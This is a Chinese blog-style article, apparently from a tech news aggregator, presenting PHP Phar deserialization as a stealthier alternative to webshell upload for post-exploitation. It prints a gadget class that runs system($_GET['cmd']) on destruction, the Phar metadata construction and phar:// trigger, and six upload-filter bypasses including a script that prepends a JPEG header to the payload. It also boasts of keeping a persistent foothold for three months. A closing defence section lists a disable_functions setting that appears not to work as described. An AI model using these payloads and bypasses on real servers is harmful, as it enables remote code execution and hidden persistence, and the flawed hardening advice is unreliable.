当前位置: 首页 > news >正文

别再只盯着文件上传传马了!用Phar反序列化在PHP里玩点更‘高级’的后渗透

Phar反序列化:超越传统文件上传的高级渗透艺术

在网络安全攻防对抗的演进历程中,攻击手法始终在与防御措施进行着螺旋式上升的博弈。当传统文件上传漏洞被各类WAF和防护规则牢牢盯防时,一种更为隐蔽的攻击方式正在红队评估中崭露头角——Phar反序列化攻击。这种技术巧妙地将反序列化漏洞"存储"在看似无害的图片文件中,实现"一次上传,持久触发"的攻击效果。

1. 从文件上传到Phar反序列化的技术跃迁

1.1 传统文件上传的局限性

常规Webshell上传面临三重困境:

  • 检测拦截:现代WAF对常见的一句话木马特征检测准确率已达90%以上
  • 权限限制:上传目录通常配置为不可执行权限(如chmod 644
  • 持久性差:一旦被发现可被直接删除,难以维持长期控制
// 典型文件上传检测逻辑示例 $allowed_ext = ['jpg','png']; $file_ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(!in_array($file_ext, $allowed_ext)){ die("Invalid file type!"); }

1.2 Phar反序列化的核心优势

对比传统方式,Phar攻击具备独特优势:

特性文件上传WebshellPhar反序列化
文件检测绕过困难容易(如图片格式)
触发条件直接访问文件操作函数调用
持久性单点失效多点潜伏
攻击面单一入口全站文件操作接口
流量特征明显隐蔽

2. Phar文件结构与攻击原理深度解析

2.1 Phar的二进制解剖

一个标准的Phar文件包含四个关键部分:

  1. Stub- PHP识别标识,格式要求严格:

    <?php __HALT_COMPILER(); ?>
  2. Manifest- 存储元数据的核心区域,包含:

    • 文件属性
    • 序列化的用户自定义数据(攻击载荷载体)
  3. Contents- 实际压缩内容(可伪装为正常文件)

  4. Signature- 可选的哈希校验部分(20字节SHA1+8字节标志)

2.2 反序列化触发机制

攻击流程分为三个阶段:

  1. 构造阶段

    class Evil { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('test.phar'); $phar->setMetadata(new Evil());
  2. 上传阶段

    • 将.phar文件扩展名改为.jpg/png等允许格式
    • 通过文件上传接口传至服务器
  3. 触发阶段

    // 通过任意文件操作函数触发 file_exists('phar://uploads/fake.jpg');

关键点:PHP在解析phar文件时会自动反序列化manifest中的metadata,无需文件包含漏洞

3. 实战中的高级利用技巧

3.1 绕过上传限制的六种方法

  1. 扩展名伪装

    mv payload.phar payload.jpg
  2. 文件内容混淆

    with open('real.jpg','rb') as f: jpg_header = f.read(100) with open('payload.phar','rb') as f: phar = f.read() with open('final.jpg','wb') as f: f.write(jpg_header + phar[100:])
  3. Polyglot文件构造

    • 制作同时符合JPEG和PHAR格式的文件
    • 通过010 Editor手动调整文件结构
  4. 压缩包转换

    zip payload.zip payload.phar mv payload.zip payload.jpg
  5. 流量混淆

    • 分块上传
    • 编码转换(Base64/Hex)
  6. 二次渲染绕过

    • 分析目标图像处理库的渲染逻辑
    • 确保关键结构不被破坏

3.2 反序列化链(POP Chain)构造艺术

优质攻击链需要满足:

  • 入口点:具备可控参数的文件操作函数
  • 跳板:合适的魔术方法组合:
    class VulnClass { public function __wakeup() {...} public function __destruct() {...} public function __toString() {...} }
  • 执行点:最终达成代码执行/文件操作的方法

典型链式调用示例:

__destruct() -> __call() -> file_put_contents()

4. 防御体系构建与对抗策略

4.1 企业级防护方案

分层防御矩阵应包含:

  1. 输入层控制

    • 文件内容签名校验(非扩展名检测)
    • 强制重命名上传文件
    $new_name = hash('sha256', $content).'.dat';
  2. 运行层防护

    ; php.ini配置 phar.readonly = On disable_functions = phar_open,phar_file
  3. 代码层规范

    • 禁止动态调用文件操作函数
    • 使用白名单限制文件操作路径

4.2 攻击检测的三大维度

  1. 静态检测

    • Phar文件特征扫描(Stub标识)
    • 序列化数据模式识别
  2. 动态监控

    # 监控可疑文件操作 auditctl -w /var/www/uploads -p war -k web_upload
  3. 流量分析

    • 异常phar协议请求统计
    • 反序列化操作行为基线

在真实红队评估中,我们曾通过Phar攻击在严格防护的目标中建立了三个月以上的持久化通道。这种技术的精妙之处在于它将漏洞利用从"文件上传"这个单一维度,扩展到了所有可能触发文件操作的业务接口——从头像上传到文档导入,从缓存清理到备份恢复,每个文件接触点都可能成为攻击入口。

http://www.jsqmd.com/news/938433/

相关文章:

  • 半导体设备通信实战:用Python模拟HSMS协议(TCP/IP + 端口5000)
  • 从‘炼丹’到‘理解’:Meta-Baseline论文精读与实验复现避坑指南
  • 5.30华为OD机试真题 新系统 - 企业内部部门的最大层级 (Java/Py/C/C++/Js/Go)
  • 从‘最小安装’到‘带GUI的桌面’:CentOS 7.6在VMware里的两种安装模式与后续调优指南
  • 视觉语言模型技术突破:UI-TARS-desktop重新定义桌面自动化架构
  • Ultimate Vocal Remover 5.6:小白也能上手的音频分离神器完全指南
  • Video2X:开源AI视频增强框架,让模糊视频焕发新生
  • AI教材写作新趋势:低查重工具助力,轻松打造优质教材内容!
  • Java IO与File类学习笔记:从文件操作到各类流体系梳理
  • 别再让第三方库拖后腿!手把手教你用DependencyCheck给Maven项目做安全体检(附Jenkins集成)
  • 【PC】[吾爱大神原创汉化] 开源PDF编辑器 KillerPDF v1.4.1汉化修改版
  • 深度解析:索尼DPT-RP1电子纸底层破解与系统定制技术内幕
  • AI模型越权调用摄像头、门禁与报警系统?3步阻断供应链级渗透,附可审计配置模板
  • AI产品经理这条路,到底该怎么走?一份从零到精通的实战路线
  • InfluxDB 2.x权限管理入门:如何用influx CLI安全地创建Token、用户和Bucket(附配置文件生成)
  • 3分钟搭建Windows直播服务器:nginx-rtmp-win32零基础教程
  • 手把手教你用MATLAB给回归模型打分:从SSE到R方的完整计算与解读
  • Akagi:免费开源麻将AI辅助工具终极指南,轻松提升你的雀魂水平
  • 降AIGC神器实测!AI率92%暴降至5%!实测10款降AIGC网站!学生党狂喜! - 降AI小能手
  • AI通过图灵测试:技术实质、社会影响与未来应对策略
  • 基于Arduino与XOD可视化编程的智能植物监护系统设计与实现
  • Libre Barcode免费开源条码字体:如何快速生成专业条码的完整指南
  • OpenWrt有线中继组网实操:除了KVR,这些高级设置项你真的理解了吗?(含NAS ID、R0KH密钥详解)
  • 数据仓库智能化升级迫在眉睫,你还在用传统调度?3类企业已全面切换AI协同引擎
  • 抖音内容批量下载终极指南:3分钟掌握无水印素材获取技巧
  • 4. 注意力机制介绍_2
  • 电子入门实践:从欧姆定律到并联电路,手把手搭建LED烽火台
  • Doherty功放设计进阶:从对称到非对称,再到多峰值的ADS仿真全攻略
  • Agent Harness Engineering综述:一篇读懂 AI Agent 真正的工程瓶颈
  • 保姆级避坑指南:在Win11上搞定OMNeT++ 5.4.1、SUMO 0.30.0和Veins 4.7.1车联网仿真环境